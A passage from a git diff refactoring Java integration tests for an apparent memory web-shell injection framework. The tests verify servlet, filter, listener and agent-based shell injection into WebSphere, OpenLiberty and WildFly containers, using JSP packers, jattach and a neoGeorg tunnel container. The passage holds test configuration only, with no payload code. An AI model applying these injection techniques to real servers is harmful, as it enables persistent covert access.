buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java index 46c047bb..5409cea1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java @@ -1,97 +1,53 @@ package com.reajason.javaweb.integration.memshell.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty22ContainerTest { - public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class OpenLiberty22ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webSphere( + "open-liberty:22.0.0.12-full-java11-openj9", + "/config/dropins/app.war") + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V11, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java index 2bf40204..03076713 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java @@ -1,97 +1,53 @@ package com.reajason.javaweb.integration.memshell.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty25ContainerTest { - public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class OpenLiberty25ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webSphere( + "open-liberty:25.0.0.12-full-java17-openj9", + "/config/dropins/app.war") + .targetJdkVersion(Opcodes.V17) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V17, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index c6477504..753d8297 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -1,97 +1,53 @@ package com.reajason.javaweb.integration.memshell.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class WebSphere855ContainerTest { - public static final String imageName = "reajason/websphere:8.5.5.24"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class WebSphere855ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webSphere( + "reajason/websphere:8.5.5.24", + "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + public static final GenericContainer python = buildPythonContainer(network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 4c3c7340..855ec6db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -1,96 +1,53 @@ package com.reajason.javaweb.integration.memshell.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class WebSphere905ContainerTest { - public static final String imageName = "reajason/websphere:9.0.5.17"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class WebSphere905ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.webSphere( + "reajason/websphere:9.0.5.17", + "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); + public static final GenericContainer python = buildPythonContainer(network); - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index 5ebb2830..2dcab4f5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -1,86 +1,49 @@ package com.reajason.javaweb.integration.memshell.websphere7; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.time.Duration; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class WebSphere700ContainerTest { - public static final String imageName = "reajason/websphere:7.0.0.21"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class WebSphere700ContainerTest extends AbstractContainerTest { + + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .webSphere( + "reajason/websphere:7.0.0.21", + "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .testPackers(List.of(Packers.JSP)) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(webspherePid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - static Stream casesProvider() { - String server = Server.WebSphere; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER -// ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - public static String getUrl(GenericContainer container) { - String host = container.getHost(); - int port = container.getMappedPort(9080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java index 16c07386..ca2645ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java @@ -1,85 +1,50 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly18ContainerTest { - public static final String imageName = "jboss/wildfly:18.0.1.Final"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Wildfly18ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "jboss/wildfly:18.0.1.Final", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = { ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java index 7ad01b10..6e44c6fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java @@ -1,85 +1,50 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly23ContainerTest { - public static final String imageName = "jboss/wildfly:23.0.2.Final"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Wildfly23ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "jboss/wildfly:23.0.2.Final", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, 